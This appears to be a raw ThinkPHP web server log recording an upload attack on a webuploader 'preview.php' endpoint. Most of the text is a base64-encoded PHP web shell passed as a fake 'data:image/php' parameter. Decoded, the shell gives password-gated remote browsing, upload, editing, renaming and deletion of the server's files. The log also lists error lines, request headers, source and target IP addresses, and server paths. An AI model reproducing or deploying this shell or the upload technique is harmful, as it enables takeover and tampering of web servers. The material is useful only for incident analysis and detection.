gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:26+08:00 ] 119.42.146.234 POST 59.110.137.245/app/admincp/ui/webuploader/0.1.15/server/preview.php [运行时间:0.002812s] [吞吐率:355.60req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'admincp', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNs